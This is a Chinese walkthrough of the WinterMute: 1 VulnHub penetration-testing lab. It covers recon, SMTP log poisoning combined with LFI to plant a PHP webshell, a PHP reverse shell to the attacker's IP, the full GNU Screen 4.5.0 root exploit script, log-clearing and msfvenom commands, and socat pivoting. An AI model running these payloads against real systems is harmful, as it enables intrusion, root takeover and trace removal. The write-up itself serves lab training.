当前位置: 首页 > article >正文

内网综合渗透测试——WinterMute: 1靶场

靶场来源 <WinterMute: 1 ~ VulnHub>

Wintermute 虚拟机网络配置指南

本实验涉及网络跳转技术,需正确配置VirtualBox网络。所有IP均为动态分配,配置快速简便。

通过"文件 >> 导入虚拟设备"导入各虚拟机。

STRAYLIGHT (网络#1 和 #2)

  • 首台需要获取root权限的主机,需配置双网卡
  • 适配器1
    • 类型选择 仅主机(Host-only)适配器
    • 指定 VirtualBox 仅主机以太网适配器 #1
      高级设置(需要两个独立网络的网卡)
    • 适配器类型 - Intel PRO/1000 T 服务器版
  • 适配器2
    • 类型选择 仅主机(Host-only)适配器
    • 指定 VirtualBox 仅主机以太网适配器 #2
      高级设置
    • 适配器类型 - Intel PRO/1000 MT 桌面版(需与网络#1类型不同)

NEUROMANCER (网络#2)

  • 最终需要攻破的目标机,单网卡配置。只能通过Straylight的第二个网络访问
  • 适配器1
    • 类型选择 仅主机(Host-only)适配器
    • 指定 VirtualBox 仅主机以太网适配器 #2
      高级设置
    • 适配器类型 - Intel PRO/1000 MT 桌面版

KALI (网络#1)

  • 攻击机仅连接至Straylight所在的网络#1,可选配NAT
  • 重要:禁止直接从Kali ping通Neuromancer,否则视为作弊
  • 适配器1
    • 类型选择 仅主机(Host-only)适配器
    • 指定 VirtualBox 仅主机以太网适配器 #1

技术要点解析:

  1. 网络隔离设计
    • 网络#1(适配器#1):Kali攻击机与Straylight的第一网卡处于此网络
    • 网络#2(适配器#2):Straylight的第二网卡与Neuromancer组成隔离网络
  2. 安全验证机制
    • 通过不同的适配器类型(PRO/1000 T Server vs MT Desktop)实现物理层隔离
    • 双网卡配置强制要求使用网络跳转技术进行横向移动
  3. 渗透测试路径
    Kali → 网络#1 → Straylight → 网络#2 → Neuromancer
  4. 配置验证方法
    • 在Kali中使用arp-scan应只能发现Straylight
    • 通过Straylight作为跳板机才能访问Neuromancer服务

注:VirtualBox需提前创建两个Host-Only网络适配器(管理 → 主机网络管理器)

靶场环境搭建:

        192.168.31.0/24                  192.168.56.0/24

 kali <---------------> straylight <---------------> neuromancer

 31.250                        31.246/56.60                       56.61

kali设置为桥接模式(VMware虚拟机)

straylight增加一块网卡,网卡一设置为桥接模式,网卡二设置为NAT模式(Virtualbox虚拟机)

neuromancer设置为NAT模式(Virtualbox虚拟机)

winterMute第一部分:外围打点

总结:
1.弱口令
2.本地文件包含漏洞
3.nc -nv发送恶意邮件写shell
4.构造命令执行漏洞,反弹shell
5.Screen 4.5.0本地提权
6.用(sed -i -e ‘s/\r$//‘)将exp换行和缩进和格式变得可执行

1,攻击机上做namp局域网扫描发现靶机

nmap -sn 192.168.31.0/24

那么攻击机IP为192.168.23.250,靶场IP192.168.31.244

2,对靶机进行端口服务探测

nmap -sV -T4 -p- -A 192.168.31.244

关键端口服务解析(deepseek生成)

  1. 25/tcp - SMTP服务 (Postfix)
    • 安全风险
      • VRFY命令开放:允许攻击者枚举有效用户(如:VRFY root)
      • ETRN命令可能导致邮件中继攻击
      • 自签名SSL证书(有效期2018-2028):可能存在中间人攻击风险
    • 利用建议
      # 用户枚举测试
      smtp-user-enum -M VRFY -U /usr/share/wordlists/metasploit/unix_users.txt -t 192.168.31.244
      # 中继测试
      swaks --to target@example.com --server 192.168.31.244
  2. 80/tcp - Apache HTTP服务 (2.4.25)
    • 安全风险
      • Apache 2.4.25存在历史漏洞:
        • CVE-2017-15715 (路径遍历)
        • CVE-2021-40438 (mod_proxy SSRF)
      • "Night City"页面可能包含隐藏路径或框架漏洞
    • 利用建议
      # 目录爆破
      gobuster dir -u http://192.168.31.244 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
      # 检查PHP版本
      curl -I http://192.168.31.244/index.php
  3. 3000/tcp - ntopng服务
    • 安全风险
      • 默认凭证admin:admin可能未修改
      • CVE-2021-28073 (XSS漏洞)
      • XML解析错误提示可能暗示XXE漏洞
    • 利用建议
      # 尝试默认登录
      curl -X POST http://192.168.31.244:3000/lua/login.lua --data "username=admin&password=admin"
      # XXE探测
      curl -X POST http://192.168.31.244:3000/evox/about --data '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>'

操作系统指纹分析

  • 内核版本:Linux 3.2-4.9 (可能为Debian 9 Stretch)
  • 潜在漏洞
    • Dirty COW (CVE-2016-5195)
    • Sudo提权漏洞 (CVE-2021-3156)
      # Dirty COW检测
      dmesg | grep "Linux version"
      # Sudo漏洞检测
      sudo --version | grep "1.8"

横向移动路径规划

  1. 第一阶段:立足点获取
    • 通过Web漏洞上传Webshell:
      <?php system($_GET['cmd']); ?>
    • 利用SMTP中继获取内部邮件凭证
  2. 第二阶段:权限提升
    • 查找SUID文件:
      find / -perm -4000 2>/dev/null
    • 检查crontab任务:
      crontab -l
  3. 第三阶段:网络跳板部署
    • 建立SSH动态转发:
      ssh -D 1080 user@straylight
    • 配置Proxychains访问Neuromancer网络:
      echo "socks5 127.0.0.1 1080" >> /etc/proxychains.conf
      proxychains nmap -sT -Pn 192.168.31.0/24

防御规避建议

  1. 流量伪装
    # 使用Metasploit编码器
    msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.31.2 LPORT=443 -e x86/shikata_ga_nai -f elf > payload.elf
  2. 日志清理
    # 清除auth.log记录
    sed -i '/192.168.31.2/d' /var/log/auth.log

漏洞验证优先级

漏洞类型

风险等级

验证复杂度

优先级

SMTP用户枚举

★★★☆

Apache RCE

★★★★☆

ntopng认证绕过

★★★★☆

XXE漏洞

★★☆☆

通过系统化的攻击链构建,可逐步突破Straylight的防御体系,最终实现网络#2的渗透目标。建议优先验证Web服务和ntopng的漏洞入口。

3,然后访问一下80端口开启的http服务

这个页面没有什么用,对其网站后台目录进行爆破

dirsearch -u http://192.168.31.244 -x 404,403

上述扫描结果不够理想,再使用gobuster进行扫描

gobuster dir -u http://192.168.31.244 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php,txt

重启之后IP变成了192.168.31.246

dirsearch -u http://192.168.31.246/manual -x 404,403

访问:http://192.168.31.246/manual/style/

4,再访问192.168.31.246:3000,存在一个ntopng服务
ntopng 是一个基于 Web 的网络流量监控和分析工具,用于实时监控网络流量、协议分布、设备活动等。它的默认配置中确实可能使用 3000 端口(HTTP 服务)和 3001 端口(HTTPS 服务)。

下面有一行小字提示用户名和密码都是admin,使用弱密码成功登录

详细介绍ntopng

ntopng 是一款基于 Web 的网络流量监控与分析工具,其核心功能通过浏览器访问的 Web 界面实

现。以下是其使用流程和核心功能的详细说明:

一、登录与初始化设置

  1. 访问 Web 界面
    • 安装并启动 ntopng 后,通过浏览器访问 http://<服务器IP>:3000(默认端口为 3000,若配置修改则需对应调整)248
    • 首次登录使用默认账号 admin 和密码 admin,系统会强制要求修改密码47
  2. 基础配置
    • 监听接口:在配置文件(/etc/ntopng/ntopng.conf)中指定监听的网络接口(如 --interface=eth0)和本地网段(如 --local-network "192.168.1.0/24")410
    • 端口修改:若需调整 Web 端口,可通过 --http-port=8080 配置412

二、主界面功能模块

ntopng 的 Web 界面分为多个核心模块,提供实时和历史流量分析:

  1. Dashboard(仪表盘)
    • 实时流量概览:显示当前网络的总流量、活跃主机、协议分布等,支持按时间范围(如5分钟、1小时)动态刷新37
    • Top Talkers:列出流量最高的发送/接收主机或应用,帮助快速识别异常流量27
  2. Flows(流量分析)
    • 实时流量详情:展示每个流的源/目的 IP、端口、协议类型(如 TCP/UDP)、吞吐量等,支持按协议或应用过滤37
    • 深度包检测(DPI):基于 nDPI 技术识别具体应用协议(如 HTTP、BitTorrent、Zoom)712
  3. Hosts(主机监控)
    • 主机列表:显示所有活跃主机的 IP、MAC 地址、流量统计及地理位置(需启用 GeoIP 数据库)46
    • 主机详情:点击 IP 可查看主机的流量趋势、通信对端、协议分布及历史活动37
  4. Interfaces(接口监控)
    • 分析指定网络接口的流量负载、数据包分布(如包大小、协议占比)及历史趋势图47
  5. Protocols(协议分析)
    • 按协议类型(如 HTTP、DNS、ICMP)统计流量占比,支持饼状图或时间序列图展示47

三、高级功能与配置

  1. 历史数据与报告
    • 数据存储:支持将流量数据持久化到 MySQL、ElasticSearch 等数据库,便于长期分析47
    • 自定义报告:可生成按小时、天、周为单位的流量报告,涵盖协议分布、主机排名等712
  2. 告警管理
    • 告警规则:在配置文件中启用异常检测(如 DDoS 攻击、带宽超限),触发后通过 Web 界面或邮件通知412
    • SNMP 集成:支持监控网络设备的 SNMP 数据,扩展流量分析范围712
  3. 用户与权限管理
    • 多用户支持:可创建不同权限级别的用户(如管理员、只读用户),并集成 LDAP/SSO 认证712
    • 访问控制:通过防火墙规则限制 Web 端口的访问来源(如仅允许内网 IP)58

四、安全与优化建议

  1. 安全加固
    • 修改默认密码,避免使用弱密码48
    • 启用 HTTPS(端口 3001)并配置 SSL 证书,防止数据窃听45
    • 通过反向代理(如 Nginx)隐藏端口并增强访问控制58
  2. 性能优化
    • 对高流量网络,启用 PF_RING 或 ZC 驱动提升抓包效率412
    • 调整日志级别(如 --log-level=3)以减少磁盘 I/O 压力410

五、常见使用场景

  1. 故障排查:通过实时流量分析定位带宽拥塞源或异常主机37
  2. 安全监控:检测 DDoS 攻击、端口扫描或未经授权的协议使用512
  3. 网络优化:分析应用协议占比,优化 QoS 策略或带宽分配712

5,在FLOWS模块下记录访问目录

根据这个提示访问/turing-bolo/

Villa Straylight BOLO列表

Villa Straylight中的最新安全威胁列表

选择列表中的某个人查看他们的自定义活动日志 - 由Turing警察更新

6,选择case然后submit提交

以?bolo=case拼接提交URL参数,存在文件包含

然后构造语句测试一下,payload ../turing-bolo/molly

成功在原case网页包含molly网页,推断存在本地文件包含,没有远程文件包含

7,已知服务器存在邮件服务,且一个网页存在本地文件包含漏洞。利用思路如下:我们用smtp发邮件,将发件人或收件人写为木马,之后在利用LFI漏洞将mail包含到PHP界面,这样就可以执行木马,获得shell

SMTP协议潜在缺陷、LFI漏洞、PHP代码执行),属于高危攻击链。以下是从安全研究角度对原理的分析及防御建议:

攻击流程拆解

  1. SMTP 注入构造恶意邮件
    • 攻击目标:通过构造特殊的发件人/收件人字段,将恶意代码(如PHP木马)注入邮件头或正文。
    • 实现条件
      • SMTP服务器未严格过滤CRLF(\r\n)或特殊字符(如<?php ?>)。
      • 邮件存储路径可预测(如/var/mail/user),且攻击者能通过LFI漏洞包含该文件。
  2. 利用LFI漏洞包含邮件文件
    • 路径遍历:通过PHP的本地文件包含漏洞(如include($_GET['file']);),加载包含恶意代码的邮件文件(如/var/mail/admin)。
    • 触发PHP解析:若邮件内容被PHP解释器执行,嵌入的恶意代码即可运行。
  3. 获取Shell
    • 代码执行:成功执行木马代码后,攻击者可能通过WebShell连接工具(如蚁剑、冰蝎)获取系统权限。

技术细节与限制

  1. 邮件内容中嵌入PHP代码的可行性
    • 编码问题:邮件通常使用MIME编码,特殊字符(如< >)可能被转义,需绕过过滤。
    • PHP标签闭合:邮件正文可能包含其他内容,需确保<?php ... ?>标签完整且不被干扰。
  2. LFI漏洞利用条件
    • 文件路径已知:需精准猜测或获取邮件存储路径(如默认邮箱位置)。
    • PHP配置允许:allow_url_include需开启(默认关闭),且open_basedir未限制访问。
  3. 防御机制绕过
    • WAF/IDS检测:恶意代码可能被安全设备拦截,需使用混淆技术(如Base64编码、异或加密)。

防御方案

1. 加固SMTP服务

  • 输入过滤:严格校验邮件头字段,禁止CRLF注入和特殊字符(如< > ?)。
  • 邮件存储隔离:将用户邮件存储在非Web目录(如/var/vmail),避免被LFI直接包含。

2. 修复LFI漏洞

  • 禁用动态包含:避免使用用户输入直接包含文件(如include($_GET['file']))。
  • 白名单限制:若必须动态包含,则校验文件路径是否在允许列表内(如allowed_files = ['page1.php', 'page2.php'])。

3. PHP安全配置

  • 关闭危险函数:在php.ini中设置disable_functions = exec,system,passthru,...。
  • 限制文件包含:设置allow_url_include = Off,open_basedir限制PHP可访问目录。

4. 监控与日志审计

  • 异常邮件检测:监控SMTP日志中异常的发件人/收件人格式。
  • 文件包含告警:通过WAF或HIDS检测../、/var/mail等敏感路径的访问行为。

模拟攻击测试(仅限授权环境)

// 漏洞示例:存在LFI的PHP代码(danger.php)
$file = $_GET['file'];
include($file);

  1. 发送恶意邮件
    # 使用telnet手动构造SMTP请求
    telnet target-smtp-server 25
    MAIL FROM:<<?php system($_GET['cmd']); ?>>@example.com
    RCPT TO:admin@target.com
    DATA
    Subject: Test Exploit
    X-Header: <?php echo 'Vulnerable!'; ?>
    .
  2. 触发LFI执行代码
    访问URL:http://target.com/danger.php?file=/var/mail/admin&cmd=id
    • 若成功,页面可能返回命令执行结果(如uid=33(www-data))。

总结

此类攻击依赖多环节漏洞的配合,实际利用难度较高,但一旦成功危害极大。管理员应通过最小化服务暴露严格输入过滤权限隔离等措施加固系统,同时定期进行渗透测试与代码审计。开

发者需遵循安全编码规范,避免动态文件包含等高风险操作。

nc -nv 192.168.31.246 25

HELO ROOT                #向服务器标识用户身份

MAIL FROM: "ROOT <?php echo shell_exec($_GET['cmd']);?>" #MAIL FROM:发件人

RCPT TO:ROOT        #RCPT TO:收件人

data                #开始编辑邮件内容

.                #输入点代表编辑结束

PHP代码命令注入漏洞代码功能解析:

  1. 接收外部参数
    通过$_GET['cmd']获取用户以GET方式传递的cmd参数的值。例如访问URL:
    http://example.com/script.php?cmd=ls,cmd的值为ls。
  2. 执行系统命令
    使用shell_exec()函数执行cmd参数传递的命令。shell_exec()会调用系统Shell执行命令,并返回命令的标准输出结果。
  3. 输出结果
    echo将命令执行结果直接输出到网页中,用户可见

8,然后通过本地文件包含漏洞构造出出现在网站URL当中的PHP代码执行漏洞

http://192.168.31.246/turing-bolo/bolo.php?bolo=../../../../../../../../../var/log/mail&cmd=ls

回显出现在73行之后

9,然后通过这个命令执行漏洞写PHP反弹shell的命令(为了更加简便直观这里使用burpsuite的repteater模块/decoder模块进行攻击)

php -r '$sock=fsockopen("192.168.31.250",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

%70%68%70%20%2d%72%20%27%24%73%6f%63%6b%3d%66%73%6f%63%6b%6f%70%65%6e%28%22%31%39%32%2e%31%36%38%2e%33%31%2e%32%35%30%22%2c%34%34%34%34%29%3b%65%78%65%63%28%22%2f%62%69%6e%2f%73%68%20%2d%69%20%3c%26%33%20%3e%26%33%20%32%3e%26%33%22%29%3b%27%0a

与此同时kali要打开对4444端口的监听,执行php代码之后可以看到成功的反弹shell

10,查看有无python环境,如果有则通过pty模块开启一个可交互式shell

python -c 'import pty;pty.spawn("/bin/bash")'

在靶场信息收集

uname -a    打印所有可用的系统信息

uname -r    内核版本

uname -n    系统主机名。

uname -m    查看系统内核架构(64位/32位)

hostname    系统主机名

cat /proc/version    内核信息

cat /etc/*-release   分发信息

cat /etc/issue       分发信息

cat /proc/cpuinfo    CPU信息

cat /etc/lsb-release # Debian

cat /etc/redhat-release # Redhat

ls /boot | grep vmlinuz-

11,查看能不能suid提权
find / -perm -u=s -type f 2>/dev/null

/bin/screen-4.5.0 是 GNU Screen 工具的二进制可执行文件,版本号为 4.5.0。

  • GNU Screen 是一个终端复用工具,允许用户在一个终端窗口中同时管理多个会话(如分离、重连会话等)。
  • SUID权限:该文件设置了 SUID 权限(通过 find / -perm -u=s 发现),意味着执行该程序时会以文件所有者(通常是 root)的权限运行,可能存在提权风险。

12,因为知道了这个工具的版本,那么就可以通过searchsploit检索这个版本的公开exp

把41154.sh文件转储出来

13,kali攻击机开启http服务,然后操控靶机从攻击机上下载41154.sh脚本

python -m http.server

wget http://192.168.31.250:8000/41154.sh

14,直接执行脚本失败,还需要对脚本格式进行转换,并且赋予执行权限

sed -i -e 's/\r$//' 41154.sh

用于删除文件中的 Windows 换行符(\r),确保脚本在 Unix/Linux 系统上正常执行。以下是详细解析:

1. 命令作用

  • sed -i
    -i 表示直接修改文件(in-place edit),而不是输出到终端。
    注意:此操作会覆盖原文件,建议提前备份(如 cp 41154.sh 41154.sh.bak)。
  • s/\r$//
    这是一个正则表达式替换命令:
    • s/:表示替换操作。
    • \r$:匹配行尾的 Windows 回车符(Carriage Return, \r)。
    • //:替换为空(即删除 \r)。
    • 效果:将 Windows 格式的换行符(\r\n)转换为 Unix 格式的换行符(\n)。

chmod u+x 41154.sh

然后再执行脚本,成功提权

/root目录下读取flag.txt

然后还存在note.txt提示信息

开发团队,

3Jane 女士要求我们在 Neuromancer 的主服务器上创建一个自定义的 Java 应用,以帮助她与基于 AIb 的 GUI 进行交互。

工程团队特别强调了这项工作的风险,因为这将把超级人工智能暴露给 Freesik 的远程访问。虽然它位于我们的内部管理网络,但即便如此,仍然应该完全与网络隔离。为了安全起见,用户访问应该仅限于通过物理控制台进行……谁知道这个东西会做出什么。

总之,我们已经按照要求在 Tomcat 上部署了 war 文件,位置如下:

/struts2_2.3.15.1-showcase

它已经准备好供开发人员按她的要求进行定制……我知道这很显而易见,但务必要确保它的安全性。

此致,

Bob Laugh

Turing 系统工程师 II

Freeside//Straylight//Ops5

解读提权代码

#!/bin/bash

# screenroot.sh

# setuid screen v4.5.0 local root exploit

# abuses ld.so.preload overwriting to get root.

# bug: [screen-devel] [bug #50142] root exploit 4.5.0

# HACK THE PLANET

# ~ infodox (25/1/2017)

echo "~ gnu/screenroot ~"

echo "[+] First, we create our shell and library..."

cat << EOF > /tmp/libhax.c

#include <stdio.h>

#include <sys/types.h>

#include <unistd.h>

__attribute__ ((__constructor__))

void dropshell(void){

    chown("/tmp/rootshell", 0, 0);

    chmod("/tmp/rootshell", 04755);

    unlink("/etc/ld.so.preload");

    printf("[+] done!\n");

}

EOF

gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c

rm -f /tmp/libhax.c

cat << EOF > /tmp/rootshell.c

#include <stdio.h>

int main(void){

    setuid(0);

    setgid(0);

    seteuid(0);

    setegid(0);

    execvp("/bin/sh", NULL, NULL);

}

EOF

gcc -o /tmp/rootshell /tmp/rootshell.c

rm -f /tmp/rootshell.c

echo "[+] Now we create our /etc/ld.so.preload file..."

cd /etc

umask 000 # because

screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed

echo "[+] Triggering..."

screen -ls # screen itself is setuid, so...

/tmp/rootshell   

代码解读与提权原理分析

该脚本利用了 GNU Screen v4.5.0 的 SUID 提权漏洞(CVE-2017-5618),通过篡改 /etc/ld.so.preload 文件加载恶意动态库,最终获取 root 权限。以下是逐段解析:

1. 生成恶意动态库 libhax.so

cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);    # 修改 rootshell 所有者为 root
    chmod("/tmp/rootshell", 04755);   # 设置 SUID 权限(rwsr-xr-x)
    unlink("/etc/ld.so.preload");     # 删除 ld.so.preload 避免后续检测
    printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c

  • 关键点
    • __attribute__ ((__constructor__)) 表示 dropshell 函数在库加载时自动执行。
    • 动态库的作用是修改 /tmp/rootshell 的权限为 SUID root,为后续提权做准备。

2. 生成提权后门程序 rootshell

cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
    setuid(0);    # 设置进程 UID 为 root
    setgid(0);    # 设置进程 GID 为 root
    seteuid(0);  
    setegid(0);
    execvp("/bin/sh", NULL, NULL);  # 启动 shell
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c

  • 关键点
    • 编译生成的 rootshell 初始权限为普通用户,需通过 libhax.so 赋予其 SUID root 权限。

3. 利用 Screen 漏洞篡改 /etc/ld.so.preload

cd /etc
umask 000  # 设置文件权限掩码为 0(允许所有权限)
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"

  • 漏洞触发
    • -L 参数:启用日志功能,尝试在 /etc 目录下创建日志文件 ld.so.preload。
    • SUID 权限滥用:由于 screen 是 SUID root 程序,普通用户可通过此操作以 root 权限向 /etc/ld.so.preload 写入内容。
    • 写入内容:\x0a 是换行符(\n),加上 /tmp/libhax.so,使系统在运行程序时预加载恶意库。

4. 触发动态库加载并获取 Root Shell

screen -ls    # 触发任意 Screen 操作,加载 ld.so.preload
/tmp/rootshell  # 执行 SUID root 的 Shell

  • 动态链接器行为
    • 当执行 screen -ls 时,系统读取 /etc/ld.so.preload,加载 /tmp/libhax.so。
    • dropshell 函数自动执行,将 /tmp/rootshell 设为 SUID root。
    • 执行 /tmp/rootshell 时,由于其 SUID 权限,进程以 root 身份启动,获得完整权限。

漏洞核心原理(CVE-2017-5618)

  1. SUID 程序的日志路径控制
    • Screen 在启用日志(-L)时未正确校验路径,允许用户指定系统目录(如 /etc)。
    • 普通用户可通过 -L 参数创建或覆盖 /etc/ld.so.preload。
  2. ld.so.preload 的滥用
    • 该文件指定预加载的动态库,以 root 权限写入后,所有后续动态链接程序均会加载恶意库。
    • 恶意库的构造函数在特权上下文中执行,实现权限提升。

winterMute第二部分:内网渗透

1,成功的控制了连接内网外网的靶机,接下来就是做内网的信息收集

查看arp表以得到内网靶场的IP

python -c 'import pty;pty.spawn("/bin/bash")'

arp -a

可以看到enp0s3对应着192.168.31.0/24;enp0s8对应着192.168.56.0/24

ifconfig查看本机IP地址

印证了上面的说法,并且由此猜测内网靶场的IP地址为192.168.56.60

2,还可以写一个shell脚本对目标进行扫描

for i in $(seq 1 255); do if ping -c 1 -w 1 192.168.56.$i&>/dev/null; then echo "192.168.56.$i";  fi ; done

1. 循环遍历IP地址范围

for i in $(seq 1 255); do

  • 作用
    使用seq 1 255生成1到255的整数序列,遍历每个数字赋值给变量i。
  • 目标IP段
    组合成完整的IPv4地址192.168.56.$i(即192.168.56.1到192.168.56.255)。

2. 执行Ping探测

if ping -c 1 -w 1 192.168.56.$i &>/dev/null; then

  • 参数解析
    • -c 1:发送1个ICMP请求包。
    • -w 1:等待响应超时时间为1秒。
    • &>/dev/null:将命令的标准输出和错误输出重定向到黑洞设备(不显示任何信息)。
  • 逻辑判断
    • 若ping命令成功(目标IP在线并返回响应),则条件为真(if成立)。
    • 若超时或无响应(目标IP离线),则跳过后续操作。

3. 输出在线的IP地址

echo "192.168.56.$i"

  • 作用
    仅当ping成功时,输出当前检测到的在线IP地址到终端。

脚本完整功能总结:

  • 用途
    扫描局域网192.168.56.0/24子网中所有可能的IP地址(共255个),快速检测哪些主机在线。
  • 输出
    直接列出所有响应ping请求的活跃IP地址。

使用后台进程并行执行ping,缩短总时间:

for i in {1..255}; do
    (ping -c 1 -W 1 192.168.56.$i >/dev/null && echo "192.168.56.$i") &
done | sort -n
wait

3,使用shell脚本对靶场开放的端口进行扫描(优化后)

seq 1 65535 | xargs -P 100 -I{} sh -c 'nc -nvz -w 1 192.168.56.60 {} 2>&1 | grep -v "Connection refused"'

  • seq 1 65535
    • 生成一个从 1 到 65535 的数字序列,每个数字代表一个端口号。
  • xargs -P 100 -I{}
    • xargs 用于并行执行命令。
    • -P 100:表示最多可以并行执行 100 个进程。这个参数控制并发的数量,优化了扫描的速度。
    • -I{}:{} 是一个占位符,表示每次传递一个端口号,替换到后续命令中。
  • sh -c 'nc -nvz -w 1 192.168.56.60 {} 2>&1 | grep -v "Connection refused"'
    • sh -c 允许执行一个复杂的命令。
    • nc -nvz -w 1 192.168.56.60 {}:使用 nc (netcat) 扫描目标 IP (192.168.56.60) 上的端口 {}。
      • -n:使用数字 IP 地址(避免 DNS 解析)。
      • -v:显示详细输出。
      • -z:扫描端口,但不建立连接。
      • -w 1:超时设置为 1 秒。
    • 2>&1:将标准错误(stderr)重定向到标准输出(stdout),确保捕获到错误信息。
    • | grep -v "Connection refused":过滤掉包含 “Connection refused” 的输出,只保留开放的端口信息。

socat端口重定向

SOcket CAT是一个强大的网络工具,可以实现端口重定向、端口转发、代理和各种复杂的网络通信功能。它可以在不同协议之间进行转换,比如 TCP 和 UDP、Unix 套接字等。

以下是如何使用 socat 实现端口重定向的几个常见示例:

1. TCP 端口重定向

假设你想将本地的端口 8080 转发到远程服务器的端口 80(例如将本地 localhost:8080 的流量转发到 example.com:80):

socat TCP-LISTEN:8080,fork TCP:example.com:80

  • TCP-LISTEN:8080:在本地机器的 8080 端口上监听传入的 TCP 连接。
  • fork:允许 socat 在每次连接时生成新的进程,以便并发处理多个连接。
  • TCP:example.com:80:将接收到的流量转发到 example.com 的 80 端口。

2. UDP 端口重定向

类似于 TCP 端口重定向,但使用 UDP 协议。例如,将本地端口 12345 上的 UDP 流量转发到远程 example.com 的 54321 端口:

socat UDP-LISTEN:12345,fork UDP:example.com:54321

  • UDP-LISTEN:12345:在本地的 12345 端口上监听传入的 UDP 数据包。
  • UDP:example.com:54321:将接收到的数据包转发到远程服务器的 54321 端口。

3. 端口重定向并添加身份验证

**socat** 支持多种安全和身份验证机制。例如,如果你想在转发流量的同时提供 SSH 认证,可以使用 socat 配合 SSH 隧道:

socat TCP-LISTEN:8080,fork EXEC:"ssh -N -L 8080:example.com:80 user@sshserver"

  • EXEC:"ssh -N -L 8080:example.com:80 user@sshserver":通过 SSH 隧道将本地的 8080 端口转发到 example.com:80,并通过 sshserver 进行身份验证。

4. TCP 和 UDP 转发

socat 还可以在 TCP 和 UDP 协议之间进行转发。例如,将 TCP 流量重定向为 UDP 流量:

socat UDP-LISTEN:12345,fork TCP:example.com:80

  • UDP-LISTEN:12345:在本地机器上监听 UDP 流量。
  • TCP:example.com:80:将该 UDP 流量转发到远程服务器的 TCP 端口 80。

5. 本地端口到远程端口的透明代理

假设你想将本地端口 8080 的流量透明地代理到远程 example.com:80,并在本地机器和远程服务器之间传递所有数据(包括 HTTP 请求和响应)。可以这样做:

socat TCP-LISTEN:8080,reuseaddr,fork TCP:example.com:80

  • reuseaddr:允许重新绑定相同端口。
  • fork:在每个连接时生成一个新的进程。

6. 反向端口重定向

如果你希望反向端口重定向,即让远程主机的端口连接到本地机器上的端口,可以使用 socat 设置反向连接:

socat TCP-LISTEN:8080,fork TCP:localhost:80

  • TCP-LISTEN:8080:在本地监听 8080 端口。
  • TCP:localhost:80:将流量转发到本地的 80 端口。

7. 本地端口重定向到 UNIX 域套接字

socat 还可以将流量从一个端口转发到 UNIX 域套接字。例如,假设你有一个在 UNIX 套接字上监听的进程(如 MySQL),可以这样做:

socat TCP-LISTEN:3306,fork UNIX-CONNECT:/var/run/mysql.sock

  • UNIX-CONNECT:/var/run/mysql.sock:将流量从 TCP 转发到 UNIX 域套接字 /var/run/mysql.sock。

4,现在需要kali攻击机通过被控主机以某种方式访问到内网靶机。这里使用linux中socat进行重定向(如果有问题首先要清空已经设置的socat

socat TCP4-LISTEN:8009,reuseaddr,fork TCP4:192.168.56.60:8009 &

socat TCP4-LISTEN:8080,reuseaddr,fork TCP4:192.168.56.60:8080 &

socat TCP4-LISTEN:34483,reuseaddr,fork TCP4:192.168.56.60:34483 &

  • TCP4-LISTEN:34483:监听本地 34483 端口,接收传入的连接。
  • reuseaddr:允许地址重用。
  • fork:每次接受一个连接时生成新的进程。
  • TCP4:192.168.56.60:34483:将本地端口 34483 的流量转发到远程服务器 192.168.56.60 上的 34483 端口。
  • &:在后台执行命令。

在被控主机的终端处一直能看到端口转发信息

清除socat方法:

1. 查找并停止 socat 进程

你可以使用 ps 命令来查找当前所有的 socat 进程,并用 kill 命令停止它们。

ps aux | grep socat

该命令会列出所有包含 socat 的进程。输出可能类似于:

user    12345  0.0  0.1  123456  1234 ?        S    10:00   0:00 socat TCP4-LISTEN:8009,reuseaddr,fork TCP4:192.168.56.60:8009
user    12346  0.0  0.1  123456  1234 ?        S    10:00   0:00 socat TCP4-LISTEN:8080,reuseaddr,fork TCP4:192.168.56.60:8080
user    12347  0.0  0.1  123456  1234 ?        S    10:00   0:00 socat TCP4-LISTEN:34483,reuseaddr,fork TCP4:192.168.56.60:34483

接下来,你可以通过 kill 命令停止这些进程:

kill 12345 12346 12347

2. 强制终止 socat 进程

如果 kill 命令没有生效(例如进程没有响应),你可以使用 kill -9 强制终止:

kill -9 12345 12346 12347

3. 验证进程是否已停止

再次运行 ps aux | grep socat,确认 socat 进程已经不再存在。

5,成功设置端口转发之后,再使用nmap对知道端口做信息收集

nmap -sT -sC -sV -O -p 34483,8080,8009 192.168.31.246

  • 端口 8009/tcp
    • 状态:open,表示该端口处于开放状态。
    • 服务:ajp13(Apache JServ Protocol 1.3),该协议通常用于 Apache Tomcat 和其他应用服务器之间的通信。
    • 版本:Apache Jserv 1.3。
    • 额外信息:ajp-methods: Failed to get a valid response for the OPTION request 表示在尝试对该端口发送 OPTION 请求时,未能获得有效响应,这可能意味着该服务未正确配置或不响应该类型的请求。
  • 端口 8080/tcp
    • 状态:open,该端口也处于开放状态。
    • 服务:http,该端口通常用于 Web 服务。
    • 版本:Apache Tomcat 9.0.0.M26,这是一个较旧版本的 Apache Tomcat 服务器。
    • 额外信息
      • http-title:Apache Tomcat/9.0.0.M26,表示该端口提供的是 Apache Tomcat Web 服务器。
      • http-favicon:扫描发现该服务的图标为 Apache Tomcat 的默认图标。
  • 端口 34483/tcp
    • 状态:open,该端口处于开放状态。
    • 服务:ssh,SSH(Secure Shell)协议通常用于远程安全访问。
    • 版本:OpenSSH 7.2p2,这是一个较老版本的 OpenSSH 服务,通常运行在 Linux 系统中。
    • 额外信息
      • SSH 主机密钥:提供了该 SSH 服务的 RSA、ECDSA 和 ED25519 公钥,供进一步验证使用。
      • SSH 主机密钥指纹:显示了 RSA、ECDSA 和 ED25519 密钥的指纹(分别用于验证 SSH 连接的安全性)

6,访问8080端口开放的http服务

然后对这个网站进行网站指纹识别扫描

whatweb -v http://192.168.31.246:8080  

没有什么有用信息

7,然后对对网站进行子目录枚举扫描

